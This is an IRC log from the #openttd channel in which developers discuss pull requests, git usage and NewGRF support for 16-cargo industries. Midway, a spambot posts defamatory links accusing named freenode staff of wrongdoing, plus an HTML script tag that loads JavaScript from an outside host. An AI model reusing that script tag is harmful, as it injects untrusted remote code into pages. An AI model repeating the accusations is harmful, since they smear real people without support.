IRC logs for #openttd on OFTC at 2018-07-26
            
00:13:09 *** Supercheese has quit IRC
00:37:44 <peter1138> Hi
00:38:02 <peter1138> Is it safe yet?
00:38:06 *** peter1138 sets mode: -R
00:38:51 *** cgml has joined #openttd
00:50:30 *** madbrad200 has joined #openttd
00:51:54 *** Lejving has quit IRC
00:53:00 *** madbrad200 has quit IRC
00:53:15 *** snowolf has joined #openttd
00:56:57 *** APTX_ has quit IRC
00:57:06 *** cgml has quit IRC
00:57:07 *** APTX_ has joined #openttd
00:58:20 *** snowolf has quit IRC
00:58:24 *** weaksauce has joined #openttd
01:02:50 *** Wormnest has quit IRC
01:05:34 <Eddi|zuHause> is it ever?
01:09:27 *** weaksauce has quit IRC
01:10:07 *** APTX_ has quit IRC
01:10:38 *** monoxane has joined #openttd
01:16:31 <Eddi|zuHause> i love people who claim they followed every step of the instruction
01:23:54 *** chomwitt has quit IRC
01:36:03 *** monoxane has quit IRC
01:36:06 *** nealshire has joined #openttd
01:38:38 *** nealshire has quit IRC
01:39:35 *** host has joined #openttd
01:50:00 *** glx_ has joined #openttd
01:50:00 *** glx is now known as Guest2100
01:50:01 *** glx_ is now known as glx
01:57:29 *** Guest2100 has quit IRC
02:01:51 *** snail_UES_ has joined #openttd
02:07:40 *** host has quit IRC
02:07:45 *** sheraf has joined #openttd
02:23:25 *** smidlers has joined #openttd
02:38:54 *** keoz has quit IRC
02:38:56 *** sheraf has quit IRC
02:39:23 *** montag451 has joined #openttd
02:41:38 *** montag451 has quit IRC
02:41:52 *** hook54321a has joined #openttd
02:41:58 *** Miklo has joined #openttd
02:53:51 *** alphor has joined #openttd
02:56:44 *** Supercheese has joined #openttd
03:34:50 *** glx has quit IRC
03:38:34 *** hook54321a has quit IRC
03:39:25 *** idanoo has joined #openttd
04:26:19 *** OsteHove` has joined #openttd
04:27:17 *** OsteHovel has quit IRC
04:36:50 *** cottongin has joined #openttd
04:38:20 *** cottongin has quit IRC
04:38:34 *** idanoo has quit IRC
04:39:00 *** victorsueca has joined #openttd
04:45:50 *** ululate has joined #openttd
04:47:47 *** ululate has quit IRC
04:54:06 *** nauticalnexus has quit IRC
04:55:10 *** nauticalnexus has joined #openttd
04:58:45 *** Supercheese has quit IRC
04:59:07 *** Supercheese has joined #openttd
05:02:14 *** victorsueca has quit IRC
05:02:27 *** gigabytepro has joined #openttd
05:02:30 *** Flygon has joined #openttd
05:07:17 *** czart_ has joined #openttd
05:08:49 *** czart_ has quit IRC
05:34:13 *** cHawk has joined #openttd
05:38:36 *** gigabytepro has quit IRC
05:39:34 *** hollyw00d has joined #openttd
05:43:39 *** cHawk has quit IRC
05:50:10 *** cHawk has joined #openttd
05:50:16 *** kameloso has joined #openttd
06:02:11 *** hollyw00d has quit IRC
06:02:56 *** whooa21 has joined #openttd
06:07:07 *** nauticalnexus has quit IRC
06:16:12 *** snail_UES_ has quit IRC
06:38:44 *** whooa21 has quit IRC
06:40:04 *** cats has joined #openttd
07:27:46 *** TinoDidriksen has quit IRC
07:27:46 *** Sacro has quit IRC
07:28:15 *** TinoDidriksen has joined #openttd
07:28:46 *** Sacro has joined #openttd
07:33:10 *** andythenorth has joined #openttd
07:38:52 *** cats has quit IRC
07:40:54 *** strengthen has joined #openttd
07:53:48 *** andythenorth has quit IRC
08:08:27 *** andythenorth has joined #openttd
08:14:35 <andythenorth> hmm
08:14:43 <andythenorth> so FIRS with 16 input / output cargos
08:20:19 <peter1138> Oh gods
08:20:22 <peter1138> What have we done.
08:21:34 <andythenorth> well
08:21:36 <andythenorth> it's not done yet
08:21:54 <andythenorth> unless I missed a memo :P
08:22:20 <andythenorth> https://www.brainyquote.com/quotes/francis_ford_coppola_314419
08:38:45 *** strengthen has quit IRC
08:38:53 *** noganoo has joined #openttd
09:06:49 *** APTX_ has joined #openttd
09:07:53 *** keoz has joined #openttd
09:12:26 *** noganoo has quit IRC
09:12:40 *** d0nn1e has joined #openttd
09:16:12 *** d0nn1e has quit IRC
09:16:17 *** timvisher has joined #openttd
09:28:55 *** Supercheese has quit IRC
09:29:16 *** Supercheese has joined #openttd
09:34:19 *** timvisher has quit IRC
09:34:35 *** cooldude_ has joined #openttd
09:38:44 *** cooldude_ has quit IRC
09:38:58 *** abbeyripstra has joined #openttd
09:41:11 *** Supercheese has quit IRC
09:42:30 *** chomwitt has joined #openttd
09:50:52 *** pilottage has joined #openttd
09:50:52 *** LJ has quit IRC
09:50:56 <pilottage> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
09:50:59 <pilottage> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
09:51:02 *** LJ has joined #openttd
09:51:02 <pilottage> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
09:51:06 <pilottage> This message was brought to you by Private Internet Access. Voice your opinions at https://webchat.freenode.net/?channels=%23freenode
09:51:09 <pilottage> <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
09:51:15 *** pilottage has quit IRC
09:52:24 <Eddi|zuHause> so much for "is it over?"
09:53:44 <LordAro> heh
10:01:36 <andythenorth> oh dear
10:02:18 *** peter1138 sets mode: +R
10:02:50 <LordAro> i like the script tag
10:03:03 <peter1138> Mmm
10:38:46 *** abbeyripstra has quit IRC
10:54:09 *** andythenorth has left #openttd
11:09:08 *** Maarten has quit IRC
12:15:03 *** Maarten has joined #openttd
12:51:23 *** andythenorth has joined #openttd
12:51:28 <andythenorth> grump grump grump
13:26:29 *** IgnoredAmbience has left #openttd
13:30:30 <peter1138> sup
13:30:35 <peter1138> Is it lunch time yet?
13:31:51 <andythenorth> pretty much
13:32:29 <andythenorth> also merge time
13:36:22 <peter1138> I push -f'd :p
13:36:47 <peter1138> Only change is to update the savegame version log to include the PR number
13:41:24 <andythenorth> 64 of everything
13:41:30 <andythenorth> then see what broke
13:41:36 <andythenorth> 'probably fine'
14:04:25 <LordAro> peter1138: that seems like a reasonable thing
14:04:34 <LordAro> it's no worse than including the revision number, after all
14:10:27 <peter1138> Either of you fancy reapproving it? TB had done so but I wanted to get that comment right.
14:19:52 * andythenorth looks
14:21:56 <andythenorth> I probably can't :(
14:22:00 <andythenorth> sorry
14:22:58 <peter1138> Just a ticky box exercise...
14:23:01 <andythenorth> peter1138: so literally this changed since TB's review? https://github.com/OpenTTD/OpenTTD/pull/6805/commits/97d854bd1b9ccd545936253febe3b202c8e0858a#diff-2e3543c333838e2f3b92cbf76235777bR270
14:23:34 <peter1138> Yeah, just that line.
14:23:46 <peter1138> It didn't have the PR number initially
14:24:23 <peter1138> A separate commit would've been easier to review but then it'd be in the wrong revision. I didn't want to flatten this one.
14:24:46 <andythenorth> eh I thought TB gave me approval rights
14:24:51 <andythenorth> but I can't see an 'approve' button here
14:25:44 <peter1138> Clicked on "Files changed" tab
14:26:08 <peter1138> Then "Review changes" appears, approve is in there.
14:26:33 <peter1138> Feel free to let someone else do it ;)
14:26:36 <andythenorth> done
14:26:52 <andythenorth> no kittens died
14:27:12 <peter1138> No, that's my job in a second.
14:27:55 <peter1138> WE GONNA DIE
14:28:47 <andythenorth> probs have to fix NRT next
14:28:52 <peter1138> Yes
14:28:56 <peter1138> I have a patch for that...
14:28:57 <andythenorth> - fix the infinite payment bug
14:29:00 <andythenorth> - add 64 types :P
14:29:01 <peter1138> Not that one yet.
14:29:08 <peter1138> Did the 64 types ;)
14:29:17 <andythenorth> think of all the free map bits we have now
14:29:49 <andythenorth> 64 kinds of fence :P
14:30:06 <andythenorth> mumble mumble trees
14:37:01 <peter1138> 2^64 maps
14:37:29 <peter1138> Might need to wait a bit for RAM for that.
14:39:26 <peter1138> https://github.com/PeterN/OpenTTD/commit/e29929f87a75e35c0ddeb78cd48f201a913f00a3 < based on the wrong patch but I should be able to update it easily.
14:39:43 <peter1138> Then you can cherry-pick and push
14:41:31 <andythenorth> https://github.com/andythenorth/OpenTTD/commits/nrt-block
14:41:44 <peter1138> Wut
14:41:46 <andythenorth> dunno if that should be squashed
14:41:49 <peter1138> No, NOT YET
14:42:09 <peter1138> That's the outdated version o_O
14:42:24 <peter1138> "I should be able to update it easily." "Then you can cherry-pick and push"
14:42:26 <peter1138> Not ... DO IT NOW
14:42:30 <andythenorth> I missed 'then'
14:42:48 <peter1138> You need to undo that
14:43:09 <andythenorth> yair
14:43:16 <peter1138> git reset HEAD~1
14:43:32 <andythenorth> every time I do this I get slightly less bad at git
14:43:45 *** snail_UES_ has joined #openttd
14:44:03 <peter1138> No, I think that was pretty bad.
14:44:23 <andythenorth> yes but now I learnt a new way to back out
14:44:27 <andythenorth> instead of reverting the commit
14:44:35 <andythenorth> https://github.com/andythenorth/OpenTTD/commits/nrt-block
14:44:41 <peter1138> That's true :p
14:44:43 <andythenorth> usually I just revert, and then get 2 commits
14:44:53 <andythenorth> and then a merge pain later, when the reverted stuff is re-merged
14:45:24 <peter1138> Rewriting history is anathema to how the people who designed git use git. But it's useful ;)
14:45:45 <andythenorth> if I do this at work I'm a get yelled at :D
14:45:50 <peter1138> Yup
14:46:00 <peter1138> You can do it in your own local branches though. Nobody will know.
14:46:04 <andythenorth> it's not that we care about history much, but we don't like it being changed under us
14:46:13 <peter1138> We'd never do it in master either.
14:46:38 <SpComb> github protected branches
14:53:59 <andythenorth> 131 closed PRs
14:54:14 <andythenorth> https://github.com/OpenTTD/OpenTTD/pulls?q=is%3Apr+is%3Aclosed
15:13:55 *** snail_UES_ has quit IRC
15:21:25 *** ToBeFree has joined #openttd
15:23:34 *** ToBeFree has quit IRC
15:26:55 *** Alberth has joined #openttd
15:26:55 *** ChanServ sets mode: +o Alberth
15:27:02 <Alberth> o/
15:27:58 <andythenorth> hi Alberth
15:44:53 *** nielsm has joined #openttd
16:03:14 *** Mahjong has quit IRC
16:09:30 *** sim-al2 has quit IRC
16:26:03 <nielsm> allright birds' cage cleaned, time to look at this newgrf stuff again
16:30:10 <andythenorth> :D
16:30:16 <andythenorth> one bird or plural bird?
16:31:48 *** andythenorth has quit IRC
16:32:38 <nielsm> two
16:47:13 *** Compu has quit IRC
16:49:09 <nielsm> have anyone made a space theme where water is replaced with blackness with occasional shimmering stars? :D
16:49:40 <nielsm> and the land is rocky asteroids
16:50:13 <colde> If nobody has, could they?
16:50:25 <peter1138> Hmm, interesting theme.
16:50:26 *** chomwitt has quit IRC
16:50:43 <peter1138> The obvious planet/moon surface has been done, but not that, I think.
16:55:12 <nielsm> original starcraft had the space platform theme too
17:05:23 <nielsm> hmm, looking at newgrf specs, I think there is an issue with 64 cargo types here
17:05:40 <nielsm> callback 2A and 2C only use 5 bits per cargo type
17:05:50 <nielsm> with 3 cargoes packed into 16 bits
17:06:16 <nielsm> so only the first 32 cargo indices known by the newgrf can be used for acceptance
17:06:17 <nielsm> I think?
17:06:29 <nielsm> or was that fixed in some way?
17:06:47 <nielsm> oh right only used for dynamic acceptance
17:11:50 *** Compu has joined #openttd
17:15:07 <peter1138> Also it's an index into a cargo translation table, not the direct cargo index.
17:15:41 <peter1138> I did once have a patch for 32 bit callback responses...
17:16:06 <peter1138> Urgh, not home time yet.
17:30:26 *** Wormnest has joined #openttd
17:35:18 *** andythenorth has joined #openttd
17:36:19 *** Progman has joined #openttd
17:37:57 <nielsm> huh how do I translate a CargoID back to a translation table index
17:42:15 <nielsm> ah there is a GRFFile::cargo_map array
17:47:13 *** virtualrandomnumber has joined #openttd
17:51:57 <peter1138> There should already be functions to do that.
17:59:48 <nielsm> looks like a straight lookup is the way to do it, indspec->grf_prop.grffile->cargo_map[cargo_type]
17:59:55 <nielsm> I see that pattern several places already
18:08:34 *** Flygon has quit IRC
18:11:05 *** Compu has quit IRC
18:12:44 *** Compu has joined #openttd
18:16:11 *** virtualrandomnumber has quit IRC
19:13:49 <nielsm> IT COMPILES
19:13:50 <nielsm> again
19:14:01 <andythenorth> awesome :)
19:14:05 <andythenorth> I will BBL
19:14:07 <andythenorth> or tomorrow :)
19:14:08 *** andythenorth has quit IRC
19:14:11 <nielsm> going to smoke test a bit
19:14:46 <nielsm> https://0x0.st/sVY0.jpg
19:14:48 <nielsm> nope
19:17:55 *** frosch123 has joined #openttd
19:18:43 <frosch123> @mode -R
19:18:43 *** DorpsGek sets mode: -R
19:22:46 *** rocky113844 has quit IRC
19:23:26 <nielsm> lol
19:23:40 <nielsm> the industry chain window becomes ridiculously large with 16 in/out
19:23:53 <nielsm> the sizing logic for it might need some reworking
19:24:35 <nielsm> https://0x0.st/sVYR.png
19:24:40 <nielsm> that's minimum size
19:25:56 *** Wolf01 has joined #openttd
19:27:07 *** violet has joined #openttd
19:28:24 <Wolf01> o/
19:28:43 <violet> o/
19:30:02 *** violet has quit IRC
19:31:10 *** jovan has joined #openttd
19:34:18 *** jovan has quit IRC
19:34:24 *** macky has joined #openttd
19:34:30 <frosch123> @mode +R
19:34:30 *** DorpsGek sets mode: +R
19:34:38 *** macky has quit IRC
19:38:11 <LordAro> frosch123: heh
19:38:24 <LordAro> that one even said hello
19:40:54 <nielsm> I wonder, #tycoon isn't getting any, is it just the size perhaps?
19:42:22 <Wolf01> Maybe they noticed here is full of different animals and came
19:43:53 <LordAro> nielsm: i think this is one of the larger channels on oftc
19:44:03 <LordAro> so it's probably on a list of popular channels or something
19:51:35 <Wolf01> Oh, Eddi|zuHause: I think I found a really plausible reason for the "unread messages" on the phpBB forums, it seem to do it with a high chance when you use the history back instead of the link to the section, it seem to lose the topic you have just read in the section variable
19:53:09 <frosch123> LordAro: it's also in devzone, and that has only 21 animals and zombies
19:53:16 <Eddi|zuHause> huh? if you use back, you likely have a cached version of the page, with the newly-unread messages not counting, obviously. but that doesn't explain cases where you get to the page from elsewhere
19:53:26 <LordAro> frosch123: no idea then
19:53:35 <Eddi|zuHause> err, newly-read
19:56:08 <Wolf01> I should look at the phpBB sources to know what it does with cookies, maybe it's just an inconsistent status with caches and history
20:00:06 <Wolf01> BTW, dinner
20:25:29 *** Sheogorath has joined #openttd
20:26:21 *** tokai has joined #openttd
20:26:21 *** ChanServ sets mode: +v tokai
20:29:32 <frosch123> planetmaker: https://github.com/frosch123/nml <- does this look reasonable?
20:33:02 *** tokai|noir has quit IRC
21:06:50 <Eddi|zuHause> are we even still close to anything "reasonable" here?
21:52:39 *** andythenorth has joined #openttd
21:52:44 <andythenorth> o/
21:53:06 <frosch123> andythenorth: https://github.com/frosch123/nml <- does this look reasonable?
21:53:23 <frosch123> i migrated various authors to the usual emails
21:53:29 <andythenorth> at first glance looks totally fine
21:53:31 <andythenorth> let me pull
21:54:09 <andythenorth> how did you do it?
21:54:53 <andythenorth> not sure I've ever seen https://github.com/kaechele
21:56:29 <frosch123> it's he*fner
21:56:33 <andythenorth> oic
21:56:34 <andythenorth> ok
21:56:36 <frosch123> out fedora guy
21:56:54 <frosch123> i entered the fedora email, and github linked to that guy
21:57:38 <andythenorth> my checkout isn't picking up the 2 stale release branches
21:57:42 <andythenorth> not sure if that's my failure
21:57:45 <andythenorth> probably doesn't matter
21:59:43 <andythenorth> the checkout works and 'make test' passes
22:03:01 <nielsm> okay I think the newgrf spec for 16-in-16-out industries is implemented now :)
22:03:13 <andythenorth> oh :)
22:03:16 <andythenorth> \o/
22:03:21 <nielsm> smoke testing loading old saves passes
22:03:45 <nielsm> tried with original industries, and versions of FIRS 3, ECS, SPI
22:04:59 <andythenorth> I should test eh
22:05:07 <nielsm> please break it :D
22:05:41 <andythenorth> hmm
22:05:47 <andythenorth> how to update a local PR branch
22:05:50 * andythenorth google
22:06:02 <nielsm> easiest is probably to delete and re-fetch it
22:06:06 <nielsm> because I force pushed
22:06:16 <andythenorth> ok
22:06:29 <nielsm> since the 64 railtypes PR was accepted and bumped save version, making my changes not merge
22:07:29 <andythenorth> what are the .obg, .obm etc files that creep into my checkout?
22:07:55 <nielsm> base set definitions?
22:08:22 <frosch123> incomplete eints scripts :)
22:08:30 <nielsm> yeah
22:08:32 <frosch123> more magic needed
22:08:35 <andythenorth> every time I run ./configure, my git is poisoned :)
22:08:51 <nielsm> makefile build updates the translations in the bin/ versions with strings from the lang files
22:08:55 <andythenorth> I'll keep ignoring them
22:08:57 <andythenorth> shit happens
22:09:27 <nielsm> "git checkout bin/*.ob?"
22:09:29 <andythenorth> :)
22:09:36 <nielsm> will probably restore them to unchanged state
22:09:45 <andythenorth> I just reset hard
22:09:50 <andythenorth> my favourite git command
22:09:56 <andythenorth> /me compiling
22:09:59 *** glx has joined #openttd
22:09:59 *** ChanServ sets mode: +v glx
22:10:04 <andythenorth> wonder if it will be faster when my quad core arrives
22:10:24 <nielsm> remember to use parallel make, make -j4
22:10:28 <nielsm> for 4 threads
22:14:53 <Wolf01> Remember to switch to a proper operating system
22:19:00 <LJ> Wolf01: you mean any OS released in the past 5 years?
22:19:24 <peter1138> Only 4 threads? o_O
22:22:00 <Alberth> export MAKEFLAGS=-j4
22:22:09 <Alberth> much simpler :)
22:23:45 *** Alberth has left #openttd
22:24:21 <andythenorth> I use -j13 usually :P
22:28:50 <nielsm> anyway, the part I'm most unsure about with the newgrf support for many cargoes is the CB querying for all types in FinaliseIndustriesArray()
22:29:32 <nielsm> but at least it seems to be working for existing newgrfs
22:33:21 <andythenorth> I can't break it so far
22:33:43 <peter1138> SHIP IT
22:33:54 <peter1138> I think we did that joke.
22:33:54 <andythenorth> he made a PR :P
22:34:37 <andythenorth> @seen snail_UES
22:34:37 <DorpsGek> andythenorth: I have not seen snail_UES.
22:36:40 <andythenorth> industry directory window will get....wide eh? :)
22:36:46 <andythenorth> with 16 output cargos
22:38:58 <andythenorth> nielsm: definitely 16? o_O
22:39:19 <andythenorth> I don't want to argue it out, just curious if 8 is any better
22:39:32 <nielsm> https://user-images.githubusercontent.com/1062071/43287240-b9388e30-9124-11e8-913a-42a002cf847b.png
22:39:40 <nielsm> yeah maybe 8 is enough :P
22:39:42 <frosch123> does the gui change even when industries do not use that many cargos?
22:40:05 <nielsm> the industry chain gui always makes room for the max number
22:40:10 <frosch123> hmm, isn't it possible to first count the number of cargos, and then make it as big as needed
22:40:25 <nielsm> that's also one of my ideas for solving it
22:40:51 <andythenorth> I am +/-0 on 16, I just wonder if it eases the UI issues
22:41:04 <andythenorth> 16 is 'more than enough' unless someone is trolling
22:41:32 <nielsm> I think 8 will be "not quite enough" for some cases
22:41:40 <nielsm> maybe 10 is a better comprimise actually
22:42:17 *** Supercheese has joined #openttd
22:43:09 <andythenorth> in that case I'd stick to 16
22:43:24 <andythenorth> it's a nice power of 2, and is definitely 'more than enough'
22:43:59 <nielsm> yea I think finding a solution to the GUI problem now is better in the long run
22:44:23 <peter1138> Larks
22:45:47 *** sim-al2 has joined #openttd
22:48:18 * andythenorth has some terrible ideas
22:48:28 <andythenorth> not for GUI, but for troll industry grfs
22:49:18 <andythenorth> deliver any of 16 cargos, it's split 16 ways
22:49:29 <andythenorth> returning 15 of the 16 inputs, and one new one
22:49:41 <andythenorth> 16 industry types like that
22:49:56 <andythenorth> total stupidity
22:52:44 <frosch123> V would be proud of you
22:53:11 <andythenorth> all cargos are just 'A', 'B' etc
22:53:17 <andythenorth> and YETI
22:53:27 <LordAro> :D
22:53:52 <nielsm> hm slightly better! https://0x0.st/sVEx.png
22:53:52 <andythenorth> mostly, I am just going to increase some outputs to 3
22:53:58 <andythenorth> in actual FIRS
22:54:06 <andythenorth> nielsm: yeah that's nicer
22:54:12 <nielsm> still too wide
22:54:30 <andythenorth> oh it's allowing for 16 columns?
22:54:38 <nielsm> yes :/
22:55:23 <andythenorth> hmm
22:55:30 <nielsm> and I can't figure out where it calculates that
22:55:31 <andythenorth> 16 is going to be an ugly fest eh
22:55:50 <nielsm> 16 cargoes only supported on high resolution displays
22:56:35 * andythenorth might have to sleep
22:56:48 <nielsm> ditto
22:56:52 <andythenorth> gn all
22:56:57 *** andythenorth has left #openttd
23:07:38 <nielsm> okay it's back to normal!
23:08:24 <nielsm> https://0x0.st/sVEk.png
23:09:54 <nielsm> and that's enough work for tonight
23:12:09 *** frosch123 has quit IRC
23:17:56 *** nielsm has quit IRC
23:18:39 <peter1138> Is that by reverting? :D
23:31:28 *** Progman has quit IRC
23:53:34 <Wolf01> 'night
23:53:38 *** Wolf01 has quit IRC
23:54:54 *** Wormnest has quit IRC